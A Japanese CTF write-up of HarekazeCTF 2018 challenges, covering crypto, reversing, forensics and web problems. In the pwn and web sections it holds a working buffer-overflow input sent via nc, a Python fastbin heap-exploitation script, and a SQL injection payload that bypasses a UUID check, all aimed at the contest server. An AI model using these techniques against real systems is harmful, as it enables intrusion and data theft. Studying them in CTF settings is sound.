チームsuperflipは1457点で21位。簡単な問題が多め。解けない問題ばかりだとつらいのでありがたい。
welcome flag (WarmUp, 10 points)
HarekazeCTF{Welcome to the Harekaze CTF!}
easy problem (WarmUp, 30 points)
ROT13と問題文にも書かれている。
$ python -c 'print "UnerxnmrPGS{Uryyb, jbeyq!}".decode("rot13")'
HarekazeCTF{Hello, world!}
HarekazeCTF{Hello, world!}
Obfuscated Password Checker (Web, 50 points)
難読化されたJavaScriptのパスワードチェッカー。開発者ツールで送信ボタンのイベントハンドラを探して、ブレークポイントを張ったらパスワードが入っている変数があった。
HarekazeCTF{j4v4scr1pt-0bfusc4t0r_1s_tsur41}
div N (Rev, 90 points)
return x / N;
というCのコードをコンパイルしたら以下の機械語になった。N
は何でしょう? という問題。
0: 48 89 f8 mov %rdi,%rax
3: 48 ba 01 0d 1a 82 9a movabs $0x49ea309a821a0d01,%rdx
a: 30 ea 49
d: 48 c1 ff 3f sar $0x3f,%rdi
11: 48 f7 ea imul %rdx
14: 48 c1 fa 30 sar $0x30,%rdx
18: 48 89 d0 mov %rdx,%rax
1b: 48 29 f8 sub %rdi,%rax
1e: c3 retq
$ echo “HarekazeCTF{$N}” > /dev/null
除算より乗算のほうが高速なので、コンパイラは定数での除算を、逆数を掛ける乗算に直す。%rdx
には乗算結果の上位64ビットが入り、これを0x30
ビット右シフトしている。20x70/0x49ea309a821a0d01 = 974873638438445。+1したら正解だった。
HarekazeCTF{974873638438446}
gacha (Crypto, 100 points)
WIN 💎
かLOSE 💩
を公開鍵暗号で暗号化して送ってくる。こちらがどれかを選ぶと、正解かどうかとともに秘密鍵を送ってくる。「サーバー側でズルをしていないことが分かるでしょ?」という趣旨。
出題時点で公開鍵は送られてきているので、WIN 💎
とLOSE 💩
を暗号化して、暗号文がどちらと一致するかを調べれば良い。平文をそのまま公開鍵暗号化してはいけない。
# coding: utf-8
from Crypto.Util.number import *
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("problem.harekaze.com", 30214))
def read():
t = ""
while True:
c = s.recv(1)
if c=="\n":
break
t += c
return t
print read() # WELCOME
print read() # to encure
for _ in range(30):
print read() #
print read() # round
ans = -1
for i in range(3):
l = read()
n,e,c = eval(l[l.find("("):])
win = bytes_to_long(u"WIN 💎".encode("utf-8"))
if pow(win, e, n)==c:
ans = i+1
print read() # select
s.send("%d\n" % ans)
print read() # result
print read() # win/lose
print read() # keys
for _ in range(3):
print read() # key
print read() # flag
問題文にリンクが貼られているKOFの裁判、そういえばどうなったのだろう?と思ってブログを見たらまだ決着が付いていなかった。
HarekazeCTF{92f4187adbbafd3c592bfdfa8689de3be26b770d}
Lost_data (For + Misc, 100 points)
解けなかった。
HarekazeCTF{Y0u_G0t_FuNNy_F1ag_?DF?_T?_is_xxxxx}
まで出てきて、「?DF?
はCDFS
? T?
は何だろう?」となっていたけど、xxxxx
にFAT16
を入れるだけで良かったの……。
HarekazeCTF2018 Lost_data - hiww_備忘録
grom (For + Misc, 100 points)
私が解いた中では正解者数が一番少なくて6人。5 MBのVerilogのソースコード。
grom
というモジュールがあって、clk
を受け取りfin
を返す。ただ、fin
は終了したことを知らせるだけのよう。変数名がf_
から始まる7個の変数はどこにも出力されていないし、他の変数が全てこれに繋がっている感じなので、この変数の値を見れば良さそう。Verilogの開発環境はアンインストールしてしまったから、Pythonでシミュレートした。
ソフトウェアのプログラミング言語とたいして変わらないが、<=
という代入に注意が必要。always @(posedge en) x <= y; z <= x;
は信号en
の値が0
から1
に変化したら、x
にy
を、z
にx
を代入する。このとき、z
に代入される値は信号が0
のときのx
の値であって、y
の値にはならない。
問題の最後のほうに似たようなモジュールがあるけれど、この2個は意味が異なる。m_de213ed0a801c2b6e7c24720bcf77d06
では、c
の値は2クロック前のa & b
の値となる。
module m_080dff705050b75f7e7b8427e914c4b8 (input en, input a, input b, output c);
reg c;
always @( posedge en ) c <= a & b;
endmodule
module m_de213ed0a801c2b6e7c24720bcf77d06 (input en, input a, input b, output c);
reg aa;
reg bb;
reg r_c;
always @( posedge en ) begin
aa <= a;
bb <= b;
r_c <= aa & bb;
end
assign c = r_c;
endmodule
import re
S = []
V = {}
E1 = []
E2 = []
E3 = []
for l in open("grom.v"):
m = re.match(r" reg \[281-1:0\] (s_[0-9a-f]+) = 281'h([0-9a-f]+);", l)
if m:
S += [m.group(1)]
V[m.group(1)] = int(m.group(2), 16)
m = re.match(r" (r_[0-9a-f]+) <= (w_[0-9a-f]+);", l)
if m:
E1 += [(m.group(1), m.group(2))]
V[m.group(1)] = 0
V[m.group(2)] = 0
m = re.match(r" (r_[0-9a-f]+) <= (s_[0-9a-f]+)\[0\];", l)
if m:
E2 += [(m.group(1), m.group(2))]
V[m.group(1)] = 0
m = re.match(r"(m_[0-9a-f]+) i_[0-9a-f]+\(\.en\(en\), \.a\((r_[0-9a-f]+)\), \.b\((r_[0-9a-f]+)\), \.c\((w_[0-9a-f]+)\)\);", l)
if m:
E3 += [(m.group(1), m.group(2), m.group(3), m.group(4))]
V[m.group(2)] = 0
V[m.group(3)] = 0
V[m.group(4)] = 0
F = [
"r_1c64226f0a56c27ec79ed1808ca7d930",
"r_861ee0de7438080e76c0f5ac0e5b33e1",
"r_e84f72e32e41777c98cc461d4c56a9af",
"r_cb848ecd098f71de6545905789344aad",
"r_e743e2295135651ee98d2192d8cd2676",
"r_80cc4bac5c989fb60aeb39915b283d3c",
"r_720e72e5ca056093756b3987b14fe700",
]
delay = []
for _ in range(300):
old = {}
for k in V:
old[k] = V[k]
for d in delay:
V[d[0]] = d[1]
delay = []
for e in E3:
if False:
pass
elif e[0]=="m_080dff705050b75f7e7b8427e914c4b8":
V[e[3]] = old[e[1]] & old[e[2]]
elif e[0]=="m_861cf77c15adc42769c0afb7690a5b51":
V[e[3]] = old[e[1]] | old[e[2]]
elif e[0]=="m_c56c7fa9d959ee9019eb4f00a2a78815":
V[e[3]] = old[e[1]] ^ old[e[2]]
elif e[0]=="m_de213ed0a801c2b6e7c24720bcf77d06":
delay += [(e[3], old[e[1]] & old[e[2]])]
elif e[0]=="m_f62643c44848a7717bd50b3508dd6320":
delay += [(e[3], old[e[1]] | old[e[2]])]
elif e[0]=="m_20f50981ecea610cdbb5b264be20dfae":
delay += [(e[3], old[e[1]] ^ old[e[2]])]
for e in E2:
V[e[0]] = old[e[1]]&1
for s in S:
V[s] = old[s]>>1
for e in E1:
V[e[0]] = old[e[1]]
print "".join(" *"[V[f]] for f in F)[::-1]
f_???
の値を表示してみると、こんな感じでフラグが出てきた。
:
*
*
*
***
*
* * *
*******
*
*
*******
*
* * *
* * *
****
****
*
*
*
***
* * *
* * *
**
:
PokemonGOのこのイベントはすっかり忘れていて、起きたら終わっていた。つらい。
ポケモンGOで『なみのりピカチュウ』大量発生イベント。1月20日(土) 正午から3時間限定! - Engadget 日本版
HarekazeCTF{1v3_G077a_5urf1nG_P!k4cI-Iu}
Fight (Crypto, 100 points)
乱数とのXORで暗号化するプログラム。乱数のシードの計算もそのまま問題に含まれているので、もう一度xorするだけ……のはずが、このgen_seed
という関数が終わらない。n
の値が4529255040439033800342855653030016000
だった。
def gen_seed(n):
seed = 0
for k in xrange(1,n):
if gcd(k,n)==1:
seed += 1
return seed
gen_seed
ではn
未満のn
と互いに素な整数の個数を計算している。これはオイラーのφ関数。Wikipediaに素因数から計算する式が載っている。
import random
import base64
def xor(msg, key):
return bytes([ch1^ch2 for ch1, ch2 in zip(msg, key)])
def gcd(x, y):
while y != 0:
r = x % y
x = y
y = r
return x
def gen_seed(n):
seed = 0
for k in xrange(1,n):
if gcd(k,n)==1:
seed += 1
return seed
def gen_seed2(n):
seed = 1
p = 2
while n>1:
c = 0
while n%p==0:
n //= p
c += 1
if c>0:
seed *= p**c - p**(c-1)
p += 1
return seed
s = 1
for p in b"Enjoy_HarekazeCTF!!":
s *= p
seed = gen_seed2(s)
random.seed(str(seed).rstrip("0"))
enc = base64.b64decode("7XDZk9F4ZI5WpcFOfej3Dbau3yc1kxUgqmRCPMkzgyYFGjsRJF9aMaLHyDU=")
key = bytes([random.randint(0,255) for _ in enc])
flag = xor(enc, key)
print(flag)
HarekazeCTF{3ul3rrrrrrrrr_t0000000t1nt!!!!!}
WE'RE WATCHING YOU! (Misc + OSINT, 100 points)
解けなかった。
Torの中で動いているサービスの管理者を突き止めよという問題。
TorはTorのネットワークの中で、身元を伏せたままサーバーを立てられる。ただ、普通のWebサービスでは(アクセスするのに必要だから当然だが)隠す必要の無いIPアドレスなどを隠す必要がある。うっかりするとエラー画面とかに出てしまうらしい。そういう問題だと思うのだが……。
Harekaze Farm (Pwn, 100 points)
動物の名前を3匹入力すると、動物がそれぞれの声で鳴く。isoroku
という動物がフラグを喋るらしい。ただし、最初に動物が有効な名前かどうかを確認してからバッファに入れている。isoroku
はこの確認を通らない。
動物の名前を入れるバッファが8バイトなのに、16バイト読みこんでいるので、1匹目にcow\0\0\0\0\0isoroku
を入力すれば2匹目のバッファにisoroku
が入る。名前の確認はstrcmp
なので通る。
$ printf "cow\0\0\0\0\0isoroku\nhoge\ncow\n" | nc problem.harekaze.com 20328
Welcome to Harekaze farm
Input a name of your favorite animal: Input a name of your favorite animal: Input a name of your favorite animal: Begin to parade!
cow: "moo" "moo"
isoroku: "flag is here" "flag is here"
HarekazeCTF{7h1s_i5_V3ry_B3ginning_BoF}
HarekazeCTF{7h1s_i5_V3ry_B3ginning_BoF}
Unnormalized-form Data (Misc, 127 points)
SQLファイル。添付されているファイルの通りにPostgreSQLに流し込むと、
$ psql -U postgres -d unf -c "SELECT FLAG()"
flag
---------------
HarekazeCTF{}
(1 row)
となった。中を読むと、rel
というテーブルを40回辿って、その結果をdic
テーブルから引くということをしている。SQL、再帰処理なんてできたのか。SQLのまま色々試すのは大変なので、次のようにPythonに直した。
dic = [
('{d,B,7}','H'),
('{b,A,4}','.'),
:
('{c,G,3}','/'),
]
rel = [
('{b,C,5}','{c,A,6}'),
('{d,D,3}','{a,D,2}'),
:
('{a,C,5}','{d,A,4}'),
]
org = [(0,1,'{a,B,4}'), (0,2,'{d,B,7}'), …, (0,29,'{d,C,6}')]
flag = ""
for o in org:
t = [o[2]]
for i in range(40):
p = t
t = []
for r in rel:
if r[0] in p:
t += [r[1]]
f = "?"
for d in dic:
if d[0] in t:
f = d[1]
flag += f
print flag
実行するとHarekazeCTF?Th1rtee?_0rphans?
となったので、辿れなかった?
を埋めたら通った。良く分からない。なぜPostgreSQLとPythonで結果が違うのだろう。
HarekazeCTF{Th1rteen_0rphans}
15 Puzzle (Rev, 200 points)
.NET製の15パズル。1000問解くとフラグが出てくる。dnSpyならば、逆コンパイルだけではなく、実行中に変数を書き換えたり、プログラムを修正してコンパイルし直したりできる。
難読化もされていないし簡単かと思いきや、意外と面倒だった。フラグの復号には、問題生成と同じ乱数を使い回しているので、解いた回数を書き換えるだけではダメで1,000回問題を生成する必要がある。解けたかどうかの判定を常にtrue
にしようとしたけど、この乱数の初期化にはプログラムの本体から生成した値が使われている。プログラムを書き換えるとシード値も変わってしまう。
まずは書き換えずにプログラムを動かしてシード値を取得し、乱数初期化にこのシード値を使うようにと、問題生成部分を1,000回ループするようにプログラムを書き換えた。シード値を取得するためにRandom
のコンストラクタにブレークポイントを仕掛けたら、問題のコードから呼び出される前にライブラリ中から(?)1回呼び出されていてハマった。
HarekazeCTF{.NET_4pp_c4n_3451ly_b3_d3c0mp1l3d}
Logger (Rev + Net, 200 points)
誰かにパスワードを盗まれました…(´・ω・`)
とのこと(´・ω・) カワイソス
問題のpcapからファイルを取り出すと、bundle.jsの末尾にキーロガーが付いていて、WebSocketでキータイプをBase58で符号化して送信している。Base58のテーブルは最初は固定で、navigator.userAgent
を送信し、このUAを使ってテーブルをシャッフルして、以降はこのテーブルを使う。
def decode(s, t):
x = 0
for a in s:
x = x*58+t.index(a)
m = ""
while x>0:
m += chr(x%256)
x /= 256
return m[::-1]
print decode("T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH", "MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp")
t2 = "Ehi6osZTjMV7SRygBxUD9CdFcvub1pr4G85NAnm3XakPzQHKwYL2tJefWq"
T = [
"iCmUsu3sWAgt1DLDTPiCsMkiJ",
"iTS5kqhhN6dZgQfzeXgG7yYr5",
:
"yWzcku8Ed5ZYasGMqBNny8Cy8ue4hH",
]
for t in T:
print decode(t, t2).split()[1],
print
テーブルをシャッフルする処理はキーロガー中のJavaScriptを使った。WebSocketから1パケットごとに通信内容をコピペして泣きそうになった。何か楽な方法は無いのだろうか。
HarekazeCTF{7r1663r_h4ppy_61rl}
Round and Round (Crypto, 200 points)
RSA暗号。p
とq
から次のように計算したp1
とq1
が与えられる。
p1 = (sum([pow(p-1, i, p) for i in range(q)]))
q1 = (sum([pow(q-1, i, q) for i in range(p)]))
pow(p-1, i, p)
は、$(p-1)^2\equiv p^2-2p+1 \equiv 1 \mod p$だから、1, p, 1, p, …となる。p1 = p*(q-1)/2+1
。q1
も同様。これはmodの計算ではないので素直に解けばp
とq
が出てくる。
from Crypto.Util.number import *
from gmpy2 import *
enc = 15507598298834817042463704681892573844935925207353671096676527782423920390858333417805014479686241766827314370902570869063203100704151010294869728739155779685640415815492312661653450808873691693721178331336833872996692091804443257630828512131569609704473214724551132715672202671586891813211353984388741035474991608860773895778988812691240069777435969326282770350038882767450912160134013566175657336041694882842590560100668789803775001750959648059363722039014522592751510672658328196379883088392541680852726136345115484827400366869810045573176782889745710174383221427352027041590910694360773085666697865554456816396551
p1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745572068651194660027408008664437845821585312159573051601404228506302601502000674242923654458940017954149007122396560597908895703129094329414813271877228441216708678152764783888299324278380566426363579192681667090193538271960774609959694372731502799584057204257039655016058403786035676376493785696595207371994520
q1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745568763680874120108583912617489933976894172558366109559645634758298286470207143481537561897150407972412540709976696855267154744423609260252738825337344339874487812781362826063927023814123654794249583090654283919689841700775405866650720124813397785666726161029434903581762204459888078943696756054152989895680616
p2 = (p1-1)*2
q2 = (q1-1)*2
p = 0
b = 2**1024
while b>0:
t = p+b
if t*(t+p2-q2-1) <= p2:
p = t
b /= 2
q = p + p2 - q2
d = invert(65537, (p-1)*(q-1))
print hex(pow(enc, d, p*q))[2:].decode("hex")
HarekazeCTF{d1d_y0u_7ry_b1n4ry_se4rch?}
Flea Attack (Pwn, 200)
コンテストが終わってから、
とても惜しいです!
— I'm the Exploitourist. (@megumish) 2018年2月11日
実は最後の改行をなくす方法があるので、よかったらもうちょっと試してみてください。
とのヒントをもらって解いた。
フラグは起動時にメモリに読みこまれる。起動時にフラグの前の領域にコメントを書き込むことができる。後は以下の操作を選んで繰り返す。
- サイズを指定して
malloc
を実行して、指定した値を書き込む- 確保したアドレスと、書き込んだ値が(
write
ではなくprintf
で)返ってくる
- 確保したアドレスと、書き込んだ値が(
- アドレスを指定して
free
を実行する
malloc
やfree
の挙動を利用した攻撃は、↓の資料に書かれている
- katagaitai CTF勉強会 #1 pwnables編 - DEFCON CTF 2014 pwn1 heap / katagaitai CTF #1 // Speaker Deck
- glibc malloc exploit techniques - ももいろテクノロジー
- heap exploitationテク走り書き - 生きたい
フラグの直前のアドレスをmalloc
の返り値にすることができれば、フラグの領域までを適当な文字列で埋めて、フラグを表示させることができる。起動時に書き込むコメントを、malloc
で確保したメモリの状態にして解放し、再確保すれば良さそうなものだが、これができない。コメントは改行とNUL文字を含むことができず、最後に改行とNUL文字が追加される。コメントを0x5fバイトにすると末尾に改行が追加されないが、free
に渡すアドレスは16バイト境界に揃えないといけないので、ずらすことができない。
malloc
が返す値は16バイト境界に揃える必要が無かった。malloc_chunk::fd
にフラグ前の領域を指定した状態で解放し、この部分を再確保させれば良い。
from socket import *
from time import *
from struct import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("problem.harekaze.com", 20175))
def read(last):
t = ""
while True:
c = s.recv(1)
if c=="":
print t
exit(0)
if c==last:
return t
t += c
print read(":") # Some comment this note:
s.send("a"*0x5e+"\x31")
def menu():
print read("\n") # 1. Add name
print read("\n") # 2. Delete name
print read("\n") # 3. Exit
print read(" ") # >
def add(name):
menu()
s.send("1\n")
print read(" ") # Size:
s.send("%d\n"%len(name))
print read(" ") # Name:
s.send(name)
print read("\n") # Done!
print read("\n") # Name: ???
addr = read("\n") # Addr: ???
print addr
return int(addr.split()[1], 16)
def delete(addr):
menu()
s.send("2\n")
print read(" ") # Addr:
s.send("%x "%addr)
print read("\n") # Done!
addr = add(pack("<QQ", 0, 0x31)+"a"*0x20)
delete(addr+0x10)
delete(addr)
add(pack("<QQQQ", 0, 0x31, 0x204056, 0)+"a"*0x10)
add("a"*0x20)
add("a"*0x1a)
- 0x20405eを
malloc_chunk::size
にすることを想定して、0x31を書き込む - 0x30バイトのメモリを確保して、最初の2ワードを
0
と0x31
にする- このアドレスを
addr
とする
- このアドレスを
-
addr+0x10
を解放する-
addr+0x10
の周辺は0x20バイトのメモリを確保した状態になっている
-
-
addr
を解放して再確保し、addr+0x10
のfd
に0x204056
を書き込む - 0x20バイトのメモリを確保する
-
addr+0x10
が返ってくる - ここで
addr+0x10
がfastbinsから外れ、addr+0x10
のfd
である0x204056
がfastbinsに繋がれる
-
- 0x20バイトのメモリを確保する
-
0x204066
が返ってくる - この部分をNUL文字を含まない文字列で埋めれば、後ろにフラグが付いて表示される
-
HarekazeCTF{5m41l_smal1_f1ea_c0n7rol_7h3_w0rld}
gacha 2 (Crypto, 350 points)
解けなかった。
今度は、WIN 💎
とLOSE 💩
の後にランダムなデータが付いている。このランダムなデータも勝ち負けと一緒に渡されるから、乱数の内部状態推測だろうか。1回分だけだと足りないし、ランダムなデータは自分が選んだ選択肢のものだけなので間が空くし、面倒そう。
こういう一度倒した相手が強くなって帰ってくる問題が好きだけど、1と2の差分を見ると、1の解法が分かってしまうw
追記
良く見たら、選択肢全部のランダムデータが降ってきていた。
Twitter眺めていてもwriteupが見当たらなかったので、gacha 2解いたコードだけgistに上げてみました。python3でないと動きません。randrangeの挙動がpython2とpython3で違うので、最初python2で書いて大変な目に遭いました……。https://t.co/EFQU76MGHP
— Bono (@Bono_iPad) 2018年2月12日
Sokosoko Secure Uploader (Web, 100 points)
ファイルの暗号化と復号をするサービス。暗号化するとUUIDも返ってきて、復号時にはこのUUIDを使う。先頭4文字以外は忘れたらしい。UUIDはバージョン4なので乱数で推測はできない。
UUIDで復号鍵を検索する部分に分かりやすい脆弱性がある。
$stmt = $pdo->query("SELECT key FROM decryption_key WHERE id = '$uuid'");
ただし、UUIDは長さとハイフンがあるべき場所にハイフンがあるかだけはチェックされている。
'or id/*-xxxx-xxxx-xxxx-*/like'9e5a%
ギリギリ足りて面白い。
HarekazeCTF{k41k4n_j1kk4n_j1n615uk4n}
recursive zip (Warmup, 40 points)
ZIPが入れ子になっている。
while :;do mv flag.zip flag1.zip; unzip flag1.zip; done
HarekazeCTF{(\lambda f. (\lambda x. f (x x)) (\lambda x . f (x x))) zip}